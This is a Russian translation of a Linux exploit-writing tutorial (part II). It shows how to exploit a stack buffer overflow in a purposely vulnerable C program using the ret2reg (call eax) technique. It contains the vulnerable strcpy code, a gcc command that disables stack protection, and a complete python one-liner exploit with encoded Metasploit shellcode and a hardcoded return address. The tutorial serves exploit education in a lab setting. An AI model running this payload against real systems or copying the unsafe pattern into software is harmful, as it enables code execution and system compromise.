Руководство по написанию эксплоитов для Linux. Часть II – обход ASLR для переполнения буфера с помощью инструкции ret2reg

Руководство по написанию эксплоитов для Linux. Часть II – обход ASLR для переполнения буфера с помощью инструкции ret2reg

В данном руководстве будет изложен более надежный способ эксплуатации переполнения буфера с помощью инструкции ret2reg (возврат к регистру) из программы, которая не поддерживает функционал ASLR.


Автор: sickn3ss
http://sickness.tor.hu

Перевод: SecurityLab.ru

ВНИМАНИЕ: Тестирование описанной ниже техники должно производиться в виртуальной среде, так как отключение некоторых элементов функционала защиты может спровоцировать компрометацию системы!

В первой части данного руководства был описан механизм вызова переполнения буфера на Linux с помощью замены ESP адреса.
Как уже было сказано, данный метод имеет слабые стороны и потому ненадежен. В данном руководстве будет изложен более надежный способ эксплуатации переполнения буфера с помощью инструкции ret2reg (возврат к регистру) из программы, которая не поддерживает функционал ASLR.
Необходимые навыки:

  • Понимание концепции переполнения буфера
  • Владение основными понятиями ASM и C/C++
  • Понимание основной терминологии, используемой при написании эксплоитов
  • Понимание основных принципов работы GDB
  • Опыт работы с Metasploit
  • Понимание основных способов эксплуатации уязвимостей

Данное руководство не будет понятным пользователям, которые не владеют вышеуказанными навыками.

Вступление

Ниже опубликован код уязвимого приложения, используемый в прошлой статье. Как видно, в нем были произведены некоторые изменения. Например, уязвимость теперь находится не в секции «main», а размер буфера был изменен из 500 на 1000.

###########################
// I am a vulnerable thing.
#include
#include
void evilfunction(char* input)
{
char buffer[1000];
strcpy(buffer, input); // Vulnerable function.
}
int main(int argc, char** argv)
{
evilfunction(argv[1]);
return 0;
}
###########################

Давайте назовем наше приложение “vulnerable_1.c”.
(ПРИМЕЧАНИЕ: имя приложения может быть любым, но его необходимо запомнить для выполнения последующих шагов).
Код необходимо скомпилировать, отключив при этом функционал безопасности, как описано в первой части данного руководства, иначе механизм защиты Stack-smashing protection (SSP) предотвратит эксплуатацию переполнения буфера (см. I часть данного руководства).

###########################
gcc -ggdb -o vulnerable_1 -fno-stack-protector -z execstack -mpreferred-stack-boundary=2
vulnerable_1.c
###########################

После компиляции уязвимого приложения необходимо загрузить его в отладчик и попытаться инициировать исключение.

Рис. 1

EIP был успешно перезаписан.

Быстрый способ

В первой части данного руководство мы узнали, как получить ESP адрес, в котором размещен буфер, а затем записали его в EIP. Это не очень надежная техника эксплуатации, так как стек может загружаться по-разному. Однако данная техника может быть усовершенствована путем считывания 200 байт из реального ESP. Таким образом, даже в случае незначительного изменения данных в стеке, мы сможем добавить большее количество пустых операций (NOP).
Сейчас мы воспользуемся техникой более общего применения, называемой “ret2reg” (возврат к регистру). Вместо того, чтобы прописывать ESP адрес в EIP, мы прописываем в EIP существующую инструкцию, которая осуществит переход к адресу, по которому находится наш буфер, и начнет его выполнение.

Зачем это делать?

Смысл данной техники заключается в увеличении надежности эксплоита. Прописывание адреса часто не срабатывает по причине различных способов создания стека.

Перезаписываем данные

Сейчас разберемся в том, как производится перезапись. Сначала, давайте рассмотрим функции “main” и “evilfunction”:

Рис. 2

Сейчас необходимо установить точки прерывания. Первая точка должна быть расположена по адресу “0x080483f5”, для вызова функции evilfunction. Вторая точка должна быть расположена по адресу “0x08048400”, который являет собой адрес возврата.

Рис. 3

Рис. 4

После установки точек прерывания нужно запустить наш код. Мы достигли первой точки прерывания, установленной для адреса “0x080483f5”, вызывающей функцию evilfunction. Давайте рассмотрим пошаговое выполнение кода в отладчике:

Рис. 5

По всей видимости, ESP содержит адрес возврата “0x080483fa”.

Рис 6

Как показано на Рис. 6, адрес возврата был перезаписан.
Работу приложения не останавливаем. Когда оно аварийно завершится, в EIP будет перезаписан значением “\x42”(B).

Поиск и переход к буферу

Сейчас нам необходимо просмотреть регистры и найти наш буфер. После недолгих поисков, становиться очевидным, что EAX указывает на начало нашего буфера.

Рис. 7

Итак, у нас имеется EAX, указывающий на начало нужного буфера. Сейчас необходимо найти валидную инструкцию, которая позволит получить его. В этом нам смогу помочь objdump или msfelfscan. Обычно поиск нужно начинать в общих библиотеках, но в нашем случае они нам не помогут. Поиск мы будем производить в уязвимой программе:

Рис. 8

Или:

Рис. 9

Искать нужно валидную инструкцию "jmp/call eax". Ее можно найти по адресу “0x080483bf”.

Написание эксплоита

Структура требуемого нам эксплоита выглядит примерно так:

##############################
NOPS * 400+ SC (142 bytes) + NOPS * 462 + 0x080483bf (call eax)
###############################

Шеллкод создадим с помощью msfpayload:

Рис. 10

Имея шеллкод, можно создать эксплоит, который должен выглядеть так:

##############################
$(python -c ‘print “\x90” * 400
+ "\x89\xe7\xda\xd9\xd9\x77\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49 \x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b \x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75 \x4a\x49\x51\x7a\x56\x6b\x51\x48\x4c\x59\x51\x42\x52\x46\x52\x48\x56\x4d\x52\x43 \x4d\x59\x4d\x37\x43\x58\x56\x4f\x52\x53\x43\x58\x45\x50\x43\x58\x56\x4f\x50\x62 \x51\x79\x52\x4e\x4c\x49\x4b\x53\x52\x72\x49\x78\x54\x45\x47\x70\x47\x70\x45\x50 \x50\x64\x50\x61\x50\x73\x45\x38\x43\x30\x56\x37\x50\x53\x4d\x59\x49\x71\x5a\x6d \x4d\x50\x41\x41" + “\x90” * 462 + “\xbf\x83\x04\x08”’)
##############################

Проведем тестирование:

Рис. 11

Проведем финальный тест. Для этого, перезагружаем Linux и еще раз запускаем эксплоит:


Рис. 12

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!